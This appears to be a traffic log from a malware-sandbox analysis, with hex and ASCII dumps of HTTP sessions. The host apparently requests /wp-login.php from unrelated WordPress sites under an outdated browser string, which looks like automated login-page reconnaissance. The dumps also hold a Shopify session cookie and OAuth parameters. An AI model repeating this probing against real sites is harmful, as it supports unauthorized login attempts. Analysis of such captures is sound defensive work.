2023-12-20 02:13:34 UTC	1578	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 69 64 65 6e 74 69 74 79 2d 73 74 61 74 65 2d 38 33 37 34 66 33 64 66 30 64 61 62 62 31 30 33 37 65 62 36 34 33 66 65 37 64 65 37 36 61 61 61 3d 42 41 68 37 44 45 6b 69 44 6e 4a 6c 64 48 56 79 62 69 31 30 62 77 59 36 42 6b 56 55 53 53 49 31 61 48 52 30 63 48 4d 36 4c 79 39 6c 59 32 38 74 59 32 68 70 62 47 51 75 62 58 6c 7a 61 47 39 77 61 57 5a 35 4c 6d 4e 76 62 53 39 68 5a 47 31 70 62 69 39 68 64 58 52 6f 4c 32 78 76 5a 32 6c 75 42 6a 73 41 56 45 6b 69 45 58 4a 6c 5a 47 6c 79 5a 57 4e 30 4c 58 56 79 61 51 59 37 41 46 52 4a 49 6b 46 6f 64 48 52 77 63 7a 6f 76 4c 32 56 6a 62 79 31 6a 61 47 6c 73 5a 43 35 74 65 58 4e 6f 62 33 42 70 5a 6e 6b 75 59 32 39 74 4c 32 46 6b 62 57 6c 75 4c 32 46 31 64 47 67 76 61 57 52 6c 62 6e 52 Data Ascii: Set-Cookie: identity-state-8374f3df0dabb1037eb643fe7de76aaa=BAh7DEkiDnJldHVybi10bwY6BkVUSSI1aHR0cHM6Ly9lY28tY2hpbGQubXlzaG9waWZ5LmNvbS9hZG1pbi9hdXRoL2xvZ2luBjsAVEkiEXJlZGlyZWN0LXVyaQY7AFRJIkFodHRwczovL2Vjby1jaGlsZC5teXNob3BpZnkuY29tL2FkbWluL2F1dGgvaWRlbnR
2023-12-20 02:13:34 UTC	1387	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 27 73 65 6c 66 27 20 64 61 74 61 3a 20 62 6c 6f 62 3a 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 27 75 6e 73 61 66 65 2d 65 76 61 6c 27 20 68 74 74 70 73 3a 2f 2f 2a 20 73 68 6f 70 69 66 79 2d 70 6f 73 3a 2f 2f 2a 3b 20 63 6f 6e 6e 65 63 74 2d 73 72 63 20 27 73 65 6c 66 27 20 77 73 73 3a 2f 2f 2a 20 68 74 74 70 73 3a 2f 2f 2a 3b 20 66 72 61 6d 65 2d 61 6e 63 65 73 74 6f 72 73 20 27 6e 6f 6e 65 27 3b 20 66 72 61 6d 65 2d 73 72 63 20 27 73 65 6c 66 27 20 68 74 74 70 73 3a 2f 2f 2a 20 73 68 6f 70 69 66 79 2d 70 6f 73 3a 2f 2f 2a 3b 20 69 6d 67 2d 73 72 63 20 27 73 65 6c 66 27 20 64 61 74 61 3a 20 62 6c 6f 62 3a 20 68 74 74 70 73 3a 3b 20 73 Data Ascii: Content-Security-Policy: default-src 'self' data: blob: 'unsafe-inline' 'unsafe-eval' https://* shopify-pos://; connect-src 'self' wss:// https://; frame-ancestors 'none'; frame-src 'self' https:// shopify-pos://*; img-src 'self' data: blob: https:; s
2023-12-20 02:13:34 UTC	62	IN	Data Raw: 43 46 2d 52 41 59 3a 20 38 33 38 34 35 64 65 61 33 61 37 33 33 31 65 33 2d 4d 49 41 0d 0a 61 6c 74 2d 73 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 0d 0a Data Ascii: CF-RAY: 83845dea3a7331e3-MIAalt-svc: h3=":443"; ma=86400
2023-12-20 02:13:34 UTC	1369	IN	Data Raw: 38 61 35 0d 0a 3c 68 74 6d 6c 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 6e 6f 73 63 72 69 70 74 3e 0a 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 63 63 6f 75 6e 74 73 2e 73 68 6f 70 69 66 79 2e 63 6f 6d 2f 6f 61 75 74 68 2f 61 75 74 68 6f 72 69 7a 65 3f 63 6c 69 65 6e 74 5f 69 64 3d 37 65 65 36 35 61 36 33 36 30 38 38 34 33 63 35 37 37 64 62 38 62 32 33 63 34 64 37 33 31 36 65 61 30 61 30 31 62 64 32 66 37 35 39 34 66 38 61 39 63 30 36 65 61 36 36 38 63 31 62 37 37 35 63 26 61 6d 70 3b 64 65 73 74 69 6e 61 74 69 6f 6e 5f 75 75 69 64 3d 63 61 32 63 65 32 38 38 2d 34 32 38 30 2d 34 38 30 38 2d 39 32 62 65 2d 36 31 30 66 63 30 35 39 61 32 37 66 26 61 6d 70 3b 6e 6f 6e 63 65 3d 39 61 38 65 62 62 63 35 32 65 39 30 62 34 30 34 Data Ascii: 8a5<html> <body> <noscript> <a href="https://accounts.shopify.com/oauth/authorize?client_id=7ee65a63608843c577db8b23c4d7316ea0a01bd2f7594f8a9c06ea668c1b775c&destination_uuid=ca2ce288-4280-4808-92be-610fc059a27f&nonce=9a8ebbc52e90b404
2023-12-20 02:13:34 UTC	851	IN	Data Raw: 34 36 39 34 35 63 33 66 65 62 38 39 64 65 65 62 31 5c 75 30 30 32 36 70 72 6f 6d 70 74 3d 6d 65 72 67 65 5c 75 30 30 32 36 72 65 64 69 72 65 63 74 5f 75 72 69 3d 68 74 74 70 73 25 33 41 25 32 46 25 32 46 65 63 6f 2d 63 68 69 6c 64 2e 6d 79 73 68 6f 70 69 66 79 2e 63 6f 6d 25 32 46 61 64 6d 69 6e 25 32 46 61 75 74 68 25 32 46 69 64 65 6e 74 69 74 79 25 32 46 63 61 6c 6c 62 61 63 6b 5c 75 30 30 32 36 72 65 73 70 6f 6e 73 65 5f 74 79 70 65 3d 63 6f 64 65 5c 75 30 30 32 36 73 63 6f 70 65 3d 65 6d 61 69 6c 25 32 30 68 74 74 70 73 25 33 41 25 32 46 25 32 46 61 70 69 2e 73 68 6f 70 69 66 79 2e 63 6f 6d 25 32 46 61 75 74 68 25 32 46 64 65 73 74 69 6e 61 74 69 6f 6e 73 2e 72 65 61 64 6f 6e 6c 79 25 32 30 6f 70 65 6e 69 64 25 32 30 70 72 6f 66 69 6c 65 25 32 30 68 Data Ascii: 46945c3feb89deeb1\u0026prompt=merge\u0026redirect_uri=https%3A%2F%2Feco-child.myshopify.com%2Fadmin%2Fauth%2Fidentity%2Fcallback\u0026response_type=code\u0026scope=email%20https%3A%2F%2Fapi.shopify.com%2Fauth%2Fdestinations.readonly%20openid%20profile%20h
2023-12-20 02:13:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
323	192.168.2.4	64007	87.98.154.146	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:34 UTC	181	OUT	GET /wp-login.php HTTP/1.1 Host: www.plastikolor.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:35 UTC	354	IN	HTTP/1.1 404 Not Found Date: Wed, 20 Dec 2023 02:13:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Server: Apache X-Powered-By: PHP/7.0 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.plastikolor.com/wp-json/>; rel="https://api.w.org/"
2023-12-20 02:13:35 UTC	4010	IN	Data Raw: 39 66 62 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 20 20 20 20 3c 68 65 61 64 3e 0d 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 75 70 6c 6f 61 64 73 2f 32 30 31 37 2f 30 38 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0d 0a 20 20 20 20 Data Ascii: 9fb<!DOCTYPE html><html> <head> <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no"> <link rel="icon" href="/wp-content/uploads/2017/08/favicon.ico" type="image/x-icon" />
2023-12-20 02:13:35 UTC	4203	IN	Data Raw: 09 09 09 67 72 65 63 61 70 74 63 68 61 2e 65 78 65 63 75 74 65 28 68 6f 6c 64 65 72 49 64 29 3b 0a 09 09 09 09 09 09 7d 0a 09 09 09 09 09 7d 29 3b 0a 09 09 09 09 7d 0a 09 09 09 7d 29 3b 0a 09 09 7d 0a 09 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 72 65 63 61 70 74 63 68 61 2f 61 70 69 2e 6a 73 3f 6f 6e 6c 6f 61 64 3d 72 65 6e 64 65 72 47 6f 6f 67 6c 65 49 6e 76 69 73 69 62 6c 65 52 65 63 61 70 74 63 68 61 46 72 6f 6e 74 26 72 65 6e 64 65 72 3d 65 78 70 6c 69 63 69 74 22 20 61 73 79 6e 63 20 64 65 66 65 72 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 21 2d 2d 20 47 6f 6f 67 6c 65 20 54 61 67 20 4d 61 6e 61 67 65 72 20 66 6f 72 20 57 6f 72 64 50 72 65 73 73 20 62 79 20 67 Data Ascii: grecaptcha.execute(holderId);}});}});}</script><script src="https://www.google.com/recaptcha/api.js?onload=renderGoogleInvisibleRecaptchaFront&render=explicit" async defer></script>... Google Tag Manager for WordPress by g
2023-12-20 02:13:35 UTC	1448	IN	Data Raw: 34 66 31 61 0d 0a 39 2c 38 32 30 35 2c 39 38 39 35 2c 36 35 30 33 39 5d 2c 5b 31 32 37 39 38 37 2c 36 35 30 33 39 2c 38 32 30 33 2c 39 38 39 35 2c 36 35 30 33 39 5d 29 3f 21 31 3a 21 73 28 5b 35 35 33 35 36 2c 35 36 38 32 36 2c 35 35 33 35 36 2c 35 36 38 31 39 5d 2c 5b 35 35 33 35 36 2c 35 36 38 32 36 2c 38 32 30 33 2c 35 35 33 35 36 2c 35 36 38 31 39 5d 29 26 26 21 73 28 5b 35 35 33 35 36 2c 35 37 33 33 32 2c 35 36 31 32 38 2c 35 36 34 32 33 2c 35 36 31 32 38 2c 35 36 34 31 38 2c 35 36 31 32 38 2c 35 36 34 32 31 2c 35 36 31 32 38 2c 35 36 34 33 30 2c 35 36 31 32 38 2c 35 36 34 32 33 2c 35 36 31 32 38 2c 35 36 34 34 37 5d 2c 5b 35 35 33 35 36 2c 35 37 33 33 32 2c 38 32 30 33 2c 35 36 31 32 38 2c 35 36 34 32 33 2c 38 32 30 33 2c 35 36 31 32 38 2c 35 36 34 Data Ascii: 4f1a9,8205,9895,65039],[127987,65039,8203,9895,65039])?!1:!s([55356,56826,55356,56819],[55356,56826,8203,55356,56819])&&!s([55356,57332,56128,56423,56128,56418,56128,56421,56128,56430,56128,56423,56128,56447],[55356,57332,8203,56128,56423,8203,56128,564
2023-12-20 02:13:36 UTC	2896	IN	Data Raw: 69 6d 70 6f 72 74 61 6e 74 3b 0a 7d 0a 3c 2f 73 74 79 6c 65 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69 64 3d 27 77 70 2d 62 6c 6f 63 6b 2d 6c 69 62 72 61 72 79 2d 63 73 73 27 20 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 63 30 2e 77 70 2e 63 6f 6d 2f 63 2f 35 2e 35 2e 31 33 2f 77 70 2d 69 6e 63 6c 75 64 65 73 2f 63 73 73 2f 64 69 73 74 2f 62 6c 6f 63 6b 2d 6c 69 62 72 61 72 79 2f 73 74 79 6c 65 2e 6d 69 6e 2e 63 73 73 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 20 6d 65 64 69 61 3d 27 61 6c 6c 27 20 2f 3e 0a 3c 73 74 79 6c 65 20 69 64 3d 27 77 70 2d 62 6c 6f 63 6b 2d 6c 69 62 72 61 72 79 2d 69 6e 6c 69 6e 65 2d 63 73 73 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 3e 0a 2e 68 61 73 2d 74 65 78 74 2d 61 Data Ascii: important;}</style><link rel='stylesheet' id='wp-block-library-css' href='https://c0.wp.com/c/5.5.13/wp-includes/css/dist/block-library/style.min.css' type='text/css' media='all' /><style id='wp-block-library-inline-css' type='text/css'>.has-text-a
2023-12-20 02:13:36 UTC	1448	IN	Data Raw: 72 6d 2d 37 2d 74 72 61 63 6b 65 72 2d 6a 73 27 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 20 73 72 63 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 70 6c 61 73 74 69 6b 6f 6c 6f 72 2e 63 6f 6d 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 70 6c 75 67 69 6e 73 2f 64 75 72 61 63 65 6c 6c 74 6f 6d 69 2d 67 6f 6f 67 6c 65 2d 74 61 67 2d 6d 61 6e 61 67 65 72 2f 6a 73 2f 67 74 6d 34 77 70 2d 66 6f 72 6d 2d 6d 6f 76 65 2d 74 72 61 63 6b 65 72 2e 6a 73 3f 76 65 72 3d 31 2e 31 33 2e 31 27 20 69 64 3d 27 67 74 6d 34 77 70 2d 66 6f 72 6d 2d 6d 6f 76 65 2d 74 72 61 63 6b 65 72 2d 6a 73 27 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 Data Ascii: rm-7-tracker-js'></script><script type='text/javascript' src='https://www.plastikolor.com/wp-content/plugins/duracelltomi-google-tag-manager/js/gtm4wp-form-move-tracker.js?ver=1.13.1' id='gtm4wp-form-move-tracker-js'></script><script type='text/javascri
2023-12-20 02:13:36 UTC	1448	IN	Data Raw: 6c 22 3a 22 30 22 2c 22 6f 6e 53 63 72 6f 6c 6c 4f 66 66 73 65 74 22 3a 22 31 30 30 22 2c 22 6f 6e 43 6c 69 63 6b 22 3a 22 30 22 2c 22 63 6f 6f 6b 69 65 4e 61 6d 65 22 3a 22 63 6f 6f 6b 69 65 5f 6e 6f 74 69 63 65 5f 61 63 63 65 70 74 65 64 22 2c 22 63 6f 6f 6b 69 65 54 69 6d 65 22 3a 22 32 35 39 32 30 30 30 22 2c 22 63 6f 6f 6b 69 65 54 69 6d 65 52 65 6a 65 63 74 65 64 22 3a 22 32 35 39 32 30 30 30 22 2c 22 63 6f 6f 6b 69 65 50 61 74 68 22 3a 22 5c 2f 22 2c 22 63 6f 6f 6b 69 65 44 6f 6d 61 69 6e 22 3a 22 22 2c 22 72 65 64 69 72 65 63 74 69 6f 6e 22 3a 22 30 22 2c 22 63 61 63 68 65 22 3a 22 30 22 2c 22 72 65 66 75 73 65 22 3a 22 30 22 2c 22 72 65 76 6f 6b 65 43 6f 6f 6b 69 65 73 22 3a 22 30 22 2c 22 72 65 76 6f 6b 65 43 6f 6f 6b 69 65 73 4f 70 74 22 3a 22 Data Ascii: l":"0","onScrollOffset":"100","onClick":"0","cookieName":"cookie_notice_accepted","cookieTime":"2592000","cookieTimeRejected":"2592000","cookiePath":"\/","cookieDomain":"","redirection":"0","cache":"0","refuse":"0","revokeCookies":"0","revokeCookiesOpt":"
2023-12-20 02:13:36 UTC	1448	IN	Data Raw: 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 70 6c 61 73 74 69 6b 6f 6c 6f 72 2e 63 6f 6d 2f 77 70 2d 69 6e 63 6c 75 64 65 73 2f 77 6c 77 6d 61 6e 69 66 65 73 74 2e 78 6d 6c 22 20 2f 3e 20 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 67 65 6e 65 72 61 74 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 57 6f 72 64 50 72 65 73 73 20 35 2e 35 2e 31 33 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 67 65 6e 65 72 61 74 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 57 6f 6f 43 6f 6d 6d 65 72 63 65 20 35 2e 35 2e 34 22 20 2f 3e 0a 0a 09 09 3c 21 2d 2d 20 47 41 20 47 6f 6f 67 6c 65 20 41 6e 61 6c 79 74 69 63 73 20 40 20 68 74 74 70 73 3a 2f 2f 6d 30 6e 2e 63 6f 2f 67 61 20 2d 2d 3e 0a 09 09 3c 73 63 72 69 70 74 20 61 73 79 6e 63 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f Data Ascii: href="https://www.plastikolor.com/wp-includes/wlwmanifest.xml" /> <meta name="generator" content="WordPress 5.5.13" /><meta name="generator" content="WooCommerce 5.5.4" />... GA Google Analytics @ https://m0n.co/ga --><script async src="https://
2023-12-20 02:13:36 UTC	1448	IN	Data Raw: 75 73 68 28 7b 27 67 74 6d 2e 73 74 61 72 74 27 3a 0a 6e 65 77 20 44 61 74 65 28 29 2e 67 65 74 54 69 6d 65 28 29 2c 65 76 65 6e 74 3a 27 67 74 6d 2e 6a 73 27 7d 29 3b 76 61 72 20 66 3d 64 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 73 29 5b 30 5d 2c 0a 6a 3d 64 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 73 29 2c 64 6c 3d 6c 21 3d 27 64 61 74 61 4c 61 79 65 72 27 3f 27 26 6c 3d 27 2b 6c 3a 27 27 3b 6a 2e 61 73 79 6e 63 3d 74 72 75 65 3b 6a 2e 73 72 63 3d 0a 27 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 74 61 67 6d 61 6e 61 67 65 72 2e 63 6f 6d 2f 67 74 6d 2e 27 2b 27 6a 73 3f 69 64 3d 27 2b 69 2b 64 6c 3b 66 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 69 6e 73 65 72 74 42 65 66 6f 72 65 28 6a 2c 66 29 3b 0a 7d 29 28 77 69 6e 64 6f 77 2c 64 6f 63 Data Ascii: ush({'gtm.start':new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0],j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src='//www.googletagmanager.com/gtm.'+'js?id='+i+dl;f.parentNode.insertBefore(j,f);})(window,doc
2023-12-20 02:13:36 UTC	1448	IN	Data Raw: 67 6c 65 74 61 67 6d 61 6e 61 67 65 72 2e 63 6f 6d 2f 6e 73 2e 68 74 6d 6c 3f 69 64 3d 47 54 4d 2d 54 58 43 57 34 43 57 22 0a 68 65 69 67 68 74 3d 22 30 22 20 77 69 64 74 68 3d 22 30 22 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 76 69 73 69 62 69 6c 69 74 79 3a 68 69 64 64 65 6e 22 3e 3c 2f 69 66 72 61 6d 65 3e 3c 2f 6e 6f 73 63 72 69 70 74 3e 0a 3c 21 2d 2d 20 45 6e 64 20 47 6f 6f 67 6c 65 20 54 61 67 20 4d 61 6e 61 67 65 72 20 28 6e 6f 73 63 72 69 70 74 29 20 2d 2d 3e 20 0d 0a 20 20 20 20 20 20 20 20 3c 68 65 61 64 65 72 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 75 70 65 72 74 6f 70 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 61 Data Ascii: gletagmanager.com/ns.html?id=GTM-TXCW4CW"height="0" width="0" style="display:none;visibility:hidden"></iframe></noscript>... End Google Tag Manager (noscript) --> <header> <div class="supertop"> <div class="conta
2023-12-20 02:13:36 UTC	2896	IN	Data Raw: 61 2d 6d 6f 62 69 6c 65 2d 73 63 72 65 65 6e 3d 22 66 61 6c 73 65 22 20 64 61 74 61 2d 75 73 65 2d 61 6e 61 6c 79 74 69 63 73 3d 22 74 72 75 65 22 20 64 61 74 61 2d 6d 69 6e 2d 63 68 61 72 73 3d 22 31 22 20 64 61 74 61 2d 62 75 74 74 6f 6e 73 2d 6f 72 64 65 72 3d 22 31 22 20 64 61 74 61 2d 74 69 6d 65 6f 75 74 3d 22 33 30 30 22 20 64 61 74 61 2d 69 73 2d 6d 6f 62 69 6c 65 3d 22 66 61 6c 73 65 22 20 64 61 74 61 2d 70 61 67 65 2d 69 64 3d 22 30 22 20 64 61 74 61 2d 74 61 78 3d 22 22 20 3e 3c 66 6f 72 6d 20 63 6c 61 73 73 3d 22 61 77 73 2d 73 65 61 72 63 68 2d 66 6f 72 6d 22 20 61 63 74 69 6f 6e 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 70 6c 61 73 74 69 6b 6f 6c 6f 72 2e 63 6f 6d 2f 22 20 6d 65 74 68 6f 64 3d 22 67 65 74 22 20 72 6f 6c 65 3d 22 73 65 61 72 Data Ascii: a-mobile-screen="false" data-use-analytics="true" data-min-chars="1" data-buttons-order="1" data-timeout="300" data-is-mobile="false" data-page-id="0" data-tax="" ><form class="aws-search-form" action="https://www.plastikolor.com/" method="get" role="sear

Session ID	Source IP	Source Port	Destination IP	Destination Port
324	192.168.2.4	64273	104.21.20.204	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:34 UTC	175	OUT	GET /wp-login.php HTTP/1.1 Host: majormega.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:34 UTC	784	IN	HTTP/1.1 200 OK Date: Wed, 20 Dec 2023 02:13:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 X-Frame-Options: SAMEORIGIN Set-Cookie: wordpress_test_cookie=WP%20Cookie%20check; path=/; secure Vary: Accept-Encoding CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=qc2woLjNgHvYQHLjFffXiJ4vu%2BqiMGk8%2Fi%2BkjiF8oaKCOuYFfKqKGLS3jY87WrJIh3thzeRGbHamVErE968DoSZ6cDm1LTgiSAOlZNlDwimeiTnfdNFGuN2oCOw79Dgo"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 83845deb6dc0daed-MIA alt-svc: h3=":443"; ma=86400
2023-12-20 02:13:34 UTC	585	IN	Data Raw: 31 35 33 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 4c 6f 67 20 49 6e 20 26 6c 73 61 71 75 6f 3b 20 4d 61 6a 6f 72 4d 65 67 61 2e 63 6f 6d 20 26 23 38 32 31 32 3b 20 57 6f 72 64 50 72 65 73 73 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6d 61 78 2d 69 6d 61 67 65 2d 70 72 65 76 69 65 77 3a 6c 61 72 67 65 2c 20 6e 6f 69 6e 64 65 78 2c 20 6e 6f 61 72 63 68 69 76 65 22 Data Ascii: 1531<!DOCTYPE html><html lang="en-US"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><title>Log In &lsaquo; MajorMega.com — WordPress</title><meta name="robots" content="max-image-preview:large, noindex, noarchive"
2023-12-20 02:13:34 UTC	1369	IN	Data Raw: 64 6d 69 6e 2f 63 73 73 2f 66 6f 72 6d 73 2e 6d 69 6e 2e 63 73 73 3f 76 65 72 3d 36 2e 33 2e 32 22 20 6d 65 64 69 61 3d 22 61 6c 6c 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 69 64 3d 22 6c 31 30 6e 2d 63 73 73 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 6d 61 6a 6f 72 6d 65 67 61 2e 63 6f 6d 2f 77 70 2d 61 64 6d 69 6e 2f 63 73 73 2f 6c 31 30 6e 2e 6d 69 6e 2e 63 73 73 3f 76 65 72 3d 36 2e 33 2e 32 22 20 6d 65 64 69 61 3d 22 61 6c 6c 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 69 64 3d 22 6c 6f 67 69 6e 2d 63 73 73 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 6d 61 6a 6f 72 6d 65 67 61 2e 63 6f 6d 2f 77 70 2d 61 64 6d 69 6e 2f 63 73 73 2f 6c 6f 67 69 6e 2e 6d 69 6e 2e Data Ascii: dmin/css/forms.min.css?ver=6.3.2" media="all" /><link rel="stylesheet" id="l10n-css" href="https://majormega.com/wp-admin/css/l10n.min.css?ver=6.3.2" media="all" /><link rel="stylesheet" id="login-css" href="https://majormega.com/wp-admin/css/login.min.
2023-12-20 02:13:34 UTC	1369	IN	Data Raw: 77 6f 72 64 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 64 61 73 68 69 63 6f 6e 73 20 64 61 73 68 69 63 6f 6e 73 2d 76 69 73 69 62 69 6c 69 74 79 22 20 61 72 69 61 2d 68 69 64 64 65 6e 3d 22 74 72 75 65 22 3e 3c 2f 73 70 61 6e 3e 0a 3c 2f 62 75 74 74 6f 6e 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 70 20 63 6c 61 73 73 3d 22 66 6f 72 67 65 74 6d 65 6e 6f 74 22 3e 3c 69 6e 70 75 74 20 6e 61 6d 65 3d 22 72 65 6d 65 6d 62 65 72 6d 65 22 20 74 79 70 65 3d 22 63 68 65 63 6b 62 6f 78 22 20 69 64 3d 22 72 65 6d 65 6d 62 65 72 6d 65 22 20 76 61 6c 75 65 3d 22 66 6f 72 65 76 65 72 22 20 2f 3e 20 3c 6c 61 62 65 6c 20 66 6f 72 3d 22 72 65 6d 65 6d 62 65 72 6d 65 22 3e 52 65 6d 65 6d 62 65 72 20 4d 65 3c 2f 6c 61 62 65 6c 3e 3c 2f 70 3e 0a 3c 70 20 63 6c Data Ascii: word"><span class="dashicons dashicons-visibility" aria-hidden="true"></span></button></div></div><p class="forgetmenot"><input name="rememberme" type="checkbox" id="rememberme" value="forever" /> <label for="rememberme">Remember Me</label></p><p cl
2023-12-20 02:13:34 UTC	1369	IN	Data Raw: 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 6d 61 6a 6f 72 6d 65 67 61 2e 63 6f 6d 2f 77 70 2d 69 6e 63 6c 75 64 65 73 2f 6a 73 2f 7a 78 63 76 62 6e 2d 61 73 79 6e 63 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 31 2e 30 22 20 69 64 3d 22 7a 78 63 76 62 6e 2d 61 73 79 6e 63 2d 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 6d 61 6a 6f 72 6d 65 67 61 2e 63 6f 6d 2f 77 70 2d 69 6e 63 6c 75 64 65 73 2f 6a 73 2f 64 69 73 74 2f 76 65 6e 64 6f 72 2f 77 70 2d 70 6f 6c 79 66 69 6c 6c 2d 69 6e 65 72 74 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 33 2e 31 2e 32 22 20 69 64 3d 22 77 70 2d 70 6f 6c 79 66 69 6c 6c 2d 69 6e 65 72 74 2d 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 Data Ascii: ript src="https://majormega.com/wp-includes/js/zxcvbn-async.min.js?ver=1.0" id="zxcvbn-async-js"></script><script src="https://majormega.com/wp-includes/js/dist/vendor/wp-polyfill-inert.min.js?ver=3.1.2" id="wp-polyfill-inert-js"></script><script src="h
